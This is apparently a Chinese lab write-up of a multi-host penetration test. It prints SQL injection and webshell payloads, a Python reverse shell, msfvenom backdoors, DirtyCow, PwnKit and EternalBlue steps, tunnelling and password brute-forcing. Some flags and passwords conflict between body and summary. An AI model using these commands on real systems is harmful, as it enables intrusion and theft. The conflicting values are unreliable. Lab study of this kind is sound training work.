Administrator
发布于 2026-03-03 / 11 阅读
0
0

Web综合渗透测试2

任务目标

  1. 获取 Web 系统管理员用户名

  2. 获取 Web 系统中的 flag

  3. 获取 Web 系统 root 下的 flag

  4. 获取 OA 系统中的 flag

  5. 获取 OA 系统的管理员用户名

  6. 获取 OA 系统的数据库连接密码

  7. 获取 Winserver 系统桌面上的 flag

  8. 获取 DB 系统中的 flag

环境准备

导入5台OVA虚拟机

按照如下要求配置网络适配器、kali等攻击机使用NAT网络

设备名

网络1

网络2

网络3

网络4

FW

NAT

VMnet2

VMnet3

VMnet4

Web

-

-

VMnet3

-

OA

-

-

-

VMnet4

DB

-

-

-

VMnet4

WinServer

-

-

-

VMnet4

网络参考拓扑图

4e2026c5-f4cf-4988-9009-21a757da737d.png

外网渗透流程

1 信息收集

1.因为Kali攻击机与Web属于同一网段,所以使用nmap对该网段进行常见端口及服务版本扫描

20e64fcf-0e1f-41b4-9ac9-3eeddfc21fb5.png

2.通过扫描后发现有五个网络,排除攻击机本机ip、网关、DNS域名解析后,发现192.168.245.133网络80端口存在http服务,确定该ip为靶机ip,使用浏览器访问靶机ip进入公司首页。

c2b7e60c-76e6-492f-9b4e-7e28cfdbf13b.png

3.探索网站发现登录界面

d6ec04f5-b130-4419-98b2-cc0b2b981d64.png

4.进入登陆界面发现登录框,根据提示与源代码发现为前端判断 是否输入邮箱。

de623fc7-79e9-43ff-b63d-30e7eb77b13c.png

2 Sql注入

1.所以我们使用Burp Suite自带的浏览器进行访问。

883ba2c0-2b47-4ec1-a9d5-d157f4ea6cc2.png

2.进入Proxy中的Intercept确保拦截开启 (Intercept on)

9c5e98d3-b0c1-47b8-834d-e0db401f1a25.png

3.登录框输入正确格式的邮箱和任意密码,点击登录,查看Burp Suite是否拦截到请求数据包 如果失败检查前几步是否配置正确

4b1be5fd-c3a7-402e-a772-01e8cf0b1627.png

4.将请求数据包请求头内容copy到一个文件中,使用sqlmap分析sql注入点。

7c06ebc0-b8f3-430a-bede-f74772174af8.png

5.利用sqlmap发现该请求数据包中的email存在sql注入(时间盲注/联合注入)。

26b95d46-27d9-4939-8268-1575801e029a.png

6.再回到Burp Suite,对拦截到的请求数据包中的email尝试万能密码注入。

万能密码:' or 1=1 -- 注:--后必须跟一个空格
053191d4-0a01-4313-9f46-4766e6f1a9a6.png

7.释放拦截,发现成功登入管理后台。

3 文件上传

1.通过信息收集,发现用户管理界面可以上传头像,并且只能上传png格式且小于200KB

371e7cfe-a145-4f5b-9980-9058011f3f4e.png
aa11af53-8f8b-4e13-9391-6c3e4dd120e9.png

2.尝试上传一个png文件,开启Burp Suite拦截并放行,头像文件上传成功后,通过Burp Suite拦截的请求数据包历史响应 右键头像使用新标签打开,发现头像路径是/avatar/admin.png 进入路径/avatar发现无论上传文件名最后都会变为admin前缀。(并发现靶机存在目录遍历漏洞)

3.因为该靶机存在目录遍历漏洞,所以我们可以对靶机ip进行目录扫描

输入指令
dirb http://192.168.245.133

4.发现存在配置文件目录/config,进入后发现存在敏感文件dbconnect.php

5.dbconnect.php作为数据库连接配置文件Web服务器通常拥有读取能力所有我们如果可以上传一句话木马并成功执行,则可以通过该配置文件直接读取数据库名,用户名,密码等敏感文件。

一句话木马
<?php eval($_POST['cmd']); ?> 

6.将一句话木马写入backdoor.php上传,并启用Burp Suite 拦截请求数据包。

7.因为只允许上传上传png格式,所以将Content-Type改为:image/png

8.Burp Suite关闭拦截发现文件上传成功。

9.通过Burp Suite拦截的请求数据包历史响应 右键头像使用新标签打开,发现头像路径是/avatar/admin.png

10.通过进入路径/avatar发现上传的php文件与头像。(存在目录遍历漏洞)

7.点击admin.php文件,发现呈现空白页,符合一句话木马的典型特征(无输出、等待接收指令),说明木马上传成功

8.木马上传成功后,建立Payload尝试与靶机建立连接,从而实现对其远程控制。

输入指令
curl -d "cmd=system('id');" "http://192.168.245.133/avatar/admin.php"
curl -d "cmd=system('pwd');" "http://192.168.245.133/avatar/admin.php"
curl -d "cmd=system('uname -a');" "http://192.168.245.133/avatar/admin.php"

发现成功实现远程控制。

9.因为在之前发现了敏感文件/config/dbconnect.php我们可以通过Payload查看一下内容。

输入指令
curl -d "cmd=system('cat /var/www/html/config/dbconnect.php');" "http://192.168.245.133/avatar/admin.php"

发现文件确实中存在敏感信息(主机位于localhost,数据库名mainpage,用户名root,密码ca368418d‘

10.利用Payload登录数据库并查询Web系统管理员用户名。

输入指令
curl -d "cmd=system('mysql -uroot -pca368418d -e \"SELECT * FROM mainpage.users;\"');" "http://192.168.245.133/avatar/admin.php"
双引号用/进行转义,避免命令行解析错误。

得到Web 系统管理员用户名admin@xx.com,密码为一串MD5加密哈希,不必管。

11.构建Payload查询系统中的flag文件。

输入指令 双引号需要用\转义
curl -d "cmd=system('find / -name \*flag\* 2>/dev/null');" "http://192.168.245.133/avatar/admin.php" 

发现找到一个flag文件位于/var/www/html/flag.txt

继续构建Payload查询该flag文件内容得到flag:w1r91mdxeidy4hh5

输入指令
curl -d "cmd=system('cat /var/www/html/flag.txt');" "http://192.168.245.133/avatar/admin.php"

4 Web提权

4.1 Python反弹shell

1.因为提权我们需要拿到Webshell所以我们构建Payload发起反弹shell,同时攻击机监听4444端口从而拿到Webshell来进行提权

输入指令
curl -d "cmd=system('python -c \"import socket,pty,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'192.168.245.129\',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\'/bin/bash\')\"');" "http://192.168.245.133/avatar/admin.php"

向攻击机发起反弹shell前,必须保证kali攻击机开启了监听
nc -lvnp 4444

成功拿到Webshell

2.因为拿到了Webshell我们可以验证一下之前得到的Web系统管理员用户名,用Webshell登录数据库查看系统管理员用户名。(发现信息一致确定Web系统管理员用户名为admin@xx.com

3.拿到Webshell后我们就可以投递文件到Web系统中。

下载脚本
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

搭建web服务器(kali)在需投递的文件目录执行该指令
python3 -m http.server 80
 
下载 Linux 系统的自动化提权漏洞检测脚本(靶机)
wget http://192.168.245.129/les.sh

为脚本增加执行权限
chmod +x les.sh

运行脚本
./les.sh

执行脚本后发现服务内核版本2.6.32-431.el6.x86_64存在经典脏牛漏洞PwnKit漏洞

4.点击Download URL下载想使用的漏洞。

5.投递漏洞

搭建web服务器(kali)在需投递的文件目录执行该指令
python3 -m http.server 80

下载漏洞文件
wget http://192.168.245.129/40839.c

6.使用漏洞提权

通过查看源代码,发现漏洞利用原理:备份原始用户文件/etc/passwd/tmp/passwd.bak,并创建一个具备root权限的用户firefart。漏洞利用方法则是使用gcc -pthread dirty.c -o dirty -lcrypt编译后再运行编译后的脚本文件就能通过创建的新用户获取root权限。

编译
gcc -pthread 40839.c -o dirty -lcrypt

添加执行权限
chmod +x dirty
 
执行脚本
./dirty

利用创建的新用户登录

利用完成实验室结束后,务必恢复原始的/etc/passwd文件,避免系统账户异常。

mv /tmp/passwd.bak /etc/passwd

目前只要不断开依然是root用户,所以我们利用root权限拿到剩下的flag

find / -name "*flag*" 2>/dev/null

成功拿到root下的flag:Oukkgggw8ff2a333

4.2 MSF反弹shell

Metasploit Framework (MSF)相比基础的普通 Shell,它的核心优势有以下几点:

  • 模块化:普通Shell完成漏洞利用、权限提升等操作,需手动寻找漏洞、编写利用脚本、处理平台差异,不仅耗时费力,还极易出错。而MSF内置海量成熟漏洞库,涵盖各类CVE漏洞、远程溢出、Web漏洞等,采用模块化设计,无需手动编写、编译漏洞利用脚本,通过简单的命令即可加载对应模块,一键完成漏洞利用,大幅提升渗透效率。

  • 隐蔽性与渗透能力强:MSF专属的Meterpreter高级Shell,相较于普通Shell有着质的提升。它采用纯内存运行模式,难以被查杀,且内置丰富功能,无需额外工具即可完成提权、密码抓取、屏幕录制、进程注入等后渗透核心操作。

  • 通信加密:Meterpreter 的通信流量经过内置加密处理(如 AES),而普通 Shell 往往是明文传输。这意味着流量监控设备(如 IDS/IPS)很难通过分析数据包内容来发现的攻击行为。

  • 后台化管理:支持多任务并行,可以轻松地将当前会话挂载到后台,同时处理多个目标,管理起来非常直观。

MSF 的组件非常多,这里只用到其中两个:

  • msfvenom:用于生成各种格式的后门载荷(Payload)

  • msfconsole:MSF 的主控制台,用于启动监听、管理会话等

4.3 msfvenom是什么

它是 MSF 里专门用来生成各种攻击载荷(Payload) 的命令行工具,也是渗透测试中制作后门、生成反弹 Shell 的「神器」。告诉它目标的操作系统、架构、回连地址和端口,它就会帮你生成一个可执行的后门程序。

当这个后门程序在目标服务器上被执行时,它会自动连接回你的攻击机,给你一个远程 Shell。

1.因此第一步就要生成后门

#输入指令
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.245.129 LPORT=5656 -f elf -o backdoor
#-p 载荷类型
#LHOST 攻击机的ID地址,后门连回地址
#-f 输出格式
#-o 输出文件名

生成了一个 250 字节的 ELF 可执行文件,使用的5656端口,避免了和普通shell4444端口占用冲突。

2.生成了载荷就启动MSF控制台,启动了配置台但是还需要配置监听模块

#输入指令
msfconsole

#配置监听模块
# 使用多重处理器(multi/handler)模块
use exploit/multi/handler

# 设置载荷类型(必须和 msfvenom 生成时使用的一致)
set payload linux/x64/meterpreter/reverse_tcp

# 设置监听地址(这里直接填 Kali 的 IP)
set LHOST 192.168.245.129

# 设置监听端口(必须和 msfvenom 中的 LPORT 一致)
set LPORT 5656

# 启动监听
run

3.将生成的后门文件投递到Webshell中,提权并后台执行。

#搭建web服务器(kali)在需投递的文件目录执行该指令
python3 -m http.server 80

#下载后门程序
wget http://192.168.245.129/backdoor

#增加执行权限
chmod +x backdoor

#后台执行
nohup ./backdoor

发现已经建立了加密的 Meterpreter 会话,现在就拥有了一个功能强大的远程控制通道,进行漏洞投递。

为了后续的代理通信,在退出后的MSF中退出shell会话并返回meterpreter会话并设置端口转发

portfwd add -l 8022 -r 127.0.0.1 -p 22 
portfwd list
Meterpreter基本命令

系统信息

#输入指令
 
# 查看系统信息
sysinfo
 
# 查看当前用户
getuid
 
# 查看进程列表
ps
 
# 查看当前进程ID
getpid

文件操作

# 上传文件到目标
upload /本地/文件/路径 /目标/路径
 
# 下载目标文件到本地
download /目标/文件/路径
 
# 列出当前目录文件
ls
 
# 切换目录
cd /tmp
 
# 查看当前目录
pwd

Shell 操作

# 进入系统 Shell(从 Meterpreter 切换到普通 Shell)
shell
 
# 返回 Meterpreter(在 Shell 中按 Ctrl+C 或输入 exit)

网络操作

# 查看网络接口
ifconfig
 
# 查看路由表
route
 
# 查看 ARP 表
arp
 
# 端口转发(后续横向移动会用到)
portfwd add -l 本地端口 -p 目标端口 -r 目标IP

会话管理

# 将当前会话放到后台(注意如果在Meterpreter输入exit会话将会down掉)
background
 
# 列出所有活跃会话
sessions -l
 
# 切换到指定会话
sessions -i 会话编号

脏牛漏洞

通过MSF上传脏牛漏洞。

set SESSION 1
upload /home/kali/Downloads/40839.c

进入shell,编译并执行脚本。

#进入shell
shell

#编译
gcc -pthread 40839.c -o dirty -lcrypt

#添加执行权限
chmod +x dirty
 
#执行脚本
./dirty

利用创建的新用户登录,获得root权限。

Meterpreter基本命令

系统信息

#输入指令
 
# 查看系统信息
sysinfo
 
# 查看当前用户
getuid
 
# 查看进程列表
ps
 
# 查看当前进程ID
getpid

文件操作

# 上传文件到目标
upload /本地/文件/路径 /目标/路径
 
# 下载目标文件到本地
download /目标/文件/路径
 
# 列出当前目录文件
ls
 
# 切换目录
cd /tmp
 
# 查看当前目录
pwd

Shell 操作

# 进入系统 Shell(从 Meterpreter 切换到普通 Shell)
shell
 
# 返回 Meterpreter(在 Shell 中按 Ctrl+C 或输入 exit)

网络操作

# 查看网络接口
ifconfig
 
# 查看路由表
route
 
# 查看 ARP 表
arp
 
# 端口转发(后续横向移动会用到)
portfwd add -l 本地端口 -p 目标端口 -r 目标IP

会话管理

# 将当前会话放到后台(注意如果在Meterpreter输入exit会话将会down掉)
background
 
# 列出所有活跃会话
sessions -l
 
# 切换到指定会话
sessions -i 会话编号

PwnKit漏洞

上传PwnKit漏洞

解压漏洞文件

unzip CVE-2021-4034-main.zip

进入解压后的漏洞目录CVE-2021-4034-main,查看README.md文件查看漏洞如何使用:只需要输入指令make即可编译生成恶意库和利用程序。

输入指令
make

执行程序
./cve-2021-4034

查看当前用户
whoami

执行后获取root权限。

也可以直接利用MSF的本地漏洞推荐模块

use post/multi/recon/local_exploit_suggester #对已经拿到的目的会话进行多平台信息侦察并进行漏洞推荐。
set SESSION 1 #指定需要查询漏洞会话
run #执行模块

模块运行后找到exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec,也就是PwnKit漏洞

使用MSF的本地提权漏洞模块,利用该漏洞进行提权拿到root权限

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec 利用PwnKit漏洞进行本地提权
set LPORT 6666 #监听6666端口
set session 1 #指定需要提权会话
run #执行模块

利用root权限拿到剩下的flag

find / -name "*flag*" 2>/dev/null

成功拿到root下的flag:Oukkgggw8ff2a333

内网渗透流程

1.信息收集

拿到权限后就开始翻找,进行信息收集,发现目录/var/log/httpd/中的日志显示有不少来自 192.168.223.0 网段的访问 。这一发现至关重要,它直接暴露了该边界服务器背后隐藏的真实内网网段192.168.223.x。这说明目标机器具备双网卡或存在特定的内网路由,接下来的渗透重心将向此内网网段转移。


2.建立SSH动态端口转发隧道

由于攻击机无法直接路由到 192.168.223.0 网段,必须依托已控的边界服务器建立代理隧道。这里先进行隧道连接 :

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -f -N -D 1080 firefart@127.0.0.1 -p 8022
  • -D 1080:在本地机器的 1080端口建立一个 SOCKS 代理服务器,将流量动态转发至远端靶机。

  • -f -N:指示 SSH 客户端在建立连接后转入后台运行,且不执行任何远程命令,专用于端口转发。

  • 由于 SSH 客户端版本差异,使用了 -o HostKeyAlgorithmsPubkeyAcceptedKeyTypes 来兼容旧版加密算法

验证代理是否生效

ps aux | grep ssh #检查后台进程
curl -x socks5://127.0.0.1:1080 http://baidu.com #检查连通性

3.全局代理配置(Proxychains 与应用层代理)

代理虽然开了,但 Nmap 等工具默认不会自动使用它。需要配置 proxychains 。编辑配置文件 :

sudo nano /etc/proxychains4.conf

找到末尾ProxyList,将最后一行改为socks5 127.0.0.1 1080。

然后试着扫描一下。

sudo nmap -P 1080 localhost #-P nmap会直接之别为-Pn:禁用主机存活检测(跳过ping),强制扫描。执行默认全端口扫描,会列出所有开放端口。

为了后续对内网Web进行渗透,还需要提前将抓包工具与浏览器接入该隧道。打开Burp Suite进行设置,在Network中的Connections里的SOCKS proxy选项中填入127.0.0.1 1080

同时,浏览器也要改一下,将代理配置只想对应的本地端口

这样就能成功的去访问内网,进行内网横向移动和渗透,那就对两个IP地址的常用端口扫描

#扫描192.168.223.1的常用端口
proxychains nmap -sT -Pn -T4 -p 80,443,445,3389 192.168.223.1
#扫描192.168.223.3的常用端口
proxychains nmap -sT -Pn -T4 -p 80,443,445,3389 192.168.223.3
#proxychains 流量转发器,进行内网跳转必备指令

(因为不知道的原因,内网三台机器出现了一些bug,导致出现与实际不符的情况,我们直接先访问192.168.223.1192.168.223.3

192.168.223.1是一个Web服务(OA)

192.168.223.1

192.168.223.3是一个DB数据库

192.168.223.3

初步判断DB应该进行了安全加固,所以先从OA的Web服务进行渗透。

OA系统

尝试登录,提示密码错误,密码为5位数字。

因为用户名固定为admin,密码也固定为5位数字,所以我们可以进行暴力破解。

生成5位数字字典

crunch 5 5 0123456789 -o pass10.txt

通过Burp Suite 进行抓包,发送到Intruder模块。

选中需要爆破的密码点击add,选择对应字典,进行爆破。

考虑到因为经过内网跳转导致链路太长,很可能出现丢包的问题,就可以在Resource Pool 中,将 Maximum concurrent requests 设置为 1 到 5,虽然也不一定保证导致丢包概率为0。

爆破结果。

爆破出来的密码为75396,访问成功。

登录后发现该用户为管理员。完成任务5,OA系统的管理员用户名:admin

对网页进行信息收集,发现还存在IP:192.168.223.2,记录后继续对OA进行渗透。

通过信息收集发现网页存在文件包含漏洞,和上传头像功能。

因为URL存在文件包含与文件上传,所以准备上传一个GET的一句话木马。

#一句话木马
<?php system($_GET['c']); ?>

提示只能上传png格式。

所以我们通过Burp Suite 抓包进行修改。

上传成功。

对抓包历史代码审计,发现上传的头像路径为/avatar/admin.png

访问上传的文件,测试发现上传成功。

查找flag

?page=avatar/admin.php&c=find / -name *flag* -type f

查看flag

?page=avatar/admin.php&c=cat /var/www/html/flag.txt

完成任务4,OA系统的flag:97toa17y3mcf4ybs

查看config下是否存在dbconnect.php敏感文件。

?page=avatar/admin.php&c=cat /var/www/html/config/dbconnect.php

发现无法输出,尝试进行base64编码。

?page=avatar/admin.php&c=cat /var/www/html/config/dbconnect.php | base64

发现成功输出。

进行base64解码。(解码前需将base64编码中的空格删除,否则会解码失败。)

获得敏感信息:服务IP,数据库名,数据库用户名与密码。

完成任务6:OA系统数据库连接密码:144d993ba34367792dfe58370935c4b5

MSF Web Delivery 自动化上线

为了更稳定、高效地控制目标,我们需要将简单的命令执行环境升级为全功能的后渗透框架。通过 web_delivery 自动化上线 。 这是一个非常方便的模块,它可以生成一串 Python、PHP 或 PowerShell 指令,直接在现有的 RCE URL 里执行即可获得 Meterpreter 。 在攻击机的 MSF 控制台中,进行如下配置:

use exploit/multi/script/web_delivery
set target PHP
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.245.129
set LPORT 4444

web_delivery 模块在运行时,需要在Kali上启动一个临时的 Web 服务器来托管木马脚本 。由于该模块默认使用 8080 端口(SRVPORT) 。而我的 Burp Suite 恰好也在使用 8080 端口,所以冲突了,得改 。

set SRVPORT 8888
Run

再使用LFI进行操作,在URL里填上http://192.168.223.1/?page=avatar/admin.php&c=

MSF给的PHP代码。随着payload的投递,监听端建立连接,成功拿到webshell。

DB系统

利用得到的用户名与密码登录数据库。

proxychains mysql -h 192.168.223.3 -uoa -p144d993ba34367792dfe58370935c4b5 --skip-ssl

对数据库进行信息收集

#输入指令
show database;
use oa;
show tables;
select * from users;

返回结果

发现用户名与密码属于md5,通过解密用户名为admin,密码为75395。这是OA系统的管理员用户名与密码没有什么作用。

对数据库所有信息都进行了收集,没有发现任何有用的信息,选择查看该数据库拥有的权限。

#输入指令
#查看oa用户在数据库的权限
SHOW GRANTS FOR 'oa'@'%';

显示该数据库oa拥有最高权限。

  • 用户 oa 拥有全部权限(包括 SELECT、INSERT、UPDATE、DELETE、CREATE、DROP、ALTER 等所有数据库操作权限)。

  • ON *.*:权限作用于所有数据库和所有表(全局权限,范围极大)。

  • @'%':允许从任意 IP 地址连接到数据库(% 是通配符,代表任何主机)。

  • WITH GRANT OPTION:该用户还可以将自己拥有的权限授权给其他用户

调用函数load_file查看本地文件/etc/passwd

#输入指令
#读取本地文件内容
select load_file('/etc/passwd');

发现成功返回结果,说明可以利用权限查找DB系统中的flag。

通过调用函数INTO OUTFILE 将一句话木马写入本地。

#输入指令
SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/get.php';
#INTO OUTFILE:将查询结果写入服务器本地文件

显示写入成功。

写入成功后对一句话木马进行验证。

返回结果,利用一句话木马查找flag。

proxychains curl "http://192.168.223.3/get.php?c=find%20/%20-name%20%22%2Aflag%2A%22%202%3E%2Fdev%2Fnull"

返回结果。

以get的方式一句话木马,要严格注意URL格式问题,过于多的指令就要使用URL编码,才能有正常结果,否则就是curl: (3) URL rejected: Malformed input to a URL function错误。

查看flag

#输入指令
proxychains curl "http://192.168.223.3/get.php?c=cat%20/var/www/html/flag.txt"

返回结果。

完成任务8,flag:y4rseppfoxbe4lbq

MSF 正向连接(Bind TCP)与一级路由构建

同样的,也来使用 MSF 收集一下 shell 。由于内网机器通常无法“反弹”出来,我们接下来使用正向连接 (Bind TCP) 来获取数据库服务器的权限 。

为什么使用 Bind TCP(正向连接)? 在复杂的内网环境中,深层服务器(如本例的数据库)通常没有外网访问权限,甚至无法主动访问我们作为跳板的第一层 Web 服务器(严格的出站防火墙策略)。此时,让靶机主动连接攻击机的 Reverse TCP(反向连接)就会失效。而 Bind TCP 是让靶机在本地监听一个端口,由攻击机主动顺着代理隧道去连接它,这非常适合深层内网突破。

如果想访问内网网段,要通过已经拿下的这个 Session作为中转站,使用 MSF 路由 。在 MSF 中执行以下命令打通网段:

run autoroute -s 192.168.223.0/24

接着,使用 msfvenom 生成适用于正向连接的 PHP Payload:

msfvenom -p php/meterpreter/bind_tcp LPORT=3333 -f raw -o bind_shell.php

为了绕过特殊字符传输的限制,通过 RCE 在 URL 创建木马 。将生成的 Payload 转换为 Base64 编码,利用刚刚的 WebShell 将其写入数据库服务器:

echo "粘贴转换好的Base64字符" | base64 -d > /var/www/html/bind_msf.php

随后,在 MSF 里设置监听模块 :

use exploit/multi/handler
set payload php/meterpreter/bind_tcp
set RHOST 192.168.223.3
set LPORT 4444
run

在 bind_tcp 模式下,需要设置 RHOST 。配置完毕后,成功唤醒并获取了属于数据库服务器的shell。

Winserver系统

我们已经拿到了OA和DB两台机器中的所有信息,只剩下最后一台Winserver服务器(192.168.223.2),因为在之前OA服务中提示该服务器版本过低,可能存在永恒之蓝漏洞,所以选择尝试扫描445端口。

#输入指令
proxychains nmap -sT -Pn -sV -O --script smb-os-discovery -p 445 192.168.223.2
#--script smb-os-discovery:扫描445端口详细信息

发现扫描被隔离

在DB的MSF会话上建立二级路由。

run autoroute -s 192.168.223.2

验证并扫描,退回后台 (background),现在尝试扫描 192.168.223.2 的 Windows 特有端口 :

use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.223.2
run

扫描结果看,这个 192.168.223.2 是一台 Windows Server 2008 R2 (Build 7601) 。暴露操作系统后,我们进行关键词搜索 searchsploit "Windows Server 2008 R2" 。找到了著名漏洞永恒之蓝 (MS17-010) 。

利用MSF模块利用永恒之蓝漏洞。

#输入指令
#查看攻击模块
search ms17-010
#选择攻击模块
use exploit/windows/smb/ms17_010_eternalblue
#设置监听IP
set RHOSTS 192.168.223.2
#查看漏洞支持版本列表,精准选中
show targets
#精准选中目标机版本型号,降低蓝屏概率
set TARGET 3
#忽略漏洞检测环节,直接攻击漏洞 
set ForceExploit true
#启用正向连接
set PAYLOAD windows/x64/meterpreter/bind_tcp
#启动监听
run

这个时候就拿到winserver的shell,就可以进去找到flag 完成任务。

获取Winserver 系统桌面上的 flag。

#输入指令
#进入桌面
cd C:\\Users\\Administrator\\Desktop\\
#查看桌面文件
ls
#读取flag
cat flag.txt

返回结果。

成功完成任务7,Winserver中的flag:69iu0sp1j7e0g0k3

总结

  1. 获取 Web 系统管理员用户名:admin@xx.com

  2. 获取 Web 系统中的 flag:w1r91mdxeidy4hh5

  3. 获取 Web 系统 root 下的 flag:0ukkgggw8ff2a333

  4. 获取 OA 系统中的 flag:hji1719yommvppa4

  5. 获取 OA 系统的管理员用户名:admin

  6. 获取 OA 系统的数据库连接密码:144d993ba34367792dfe58370935c4b5

  7. 获取 Winserver 系统桌面上的 flag:69iu0sp1j7e0g0k3

  8. 获取 DB 系统中的 flag:flag{y4rseppfoxbe4lbq}


评论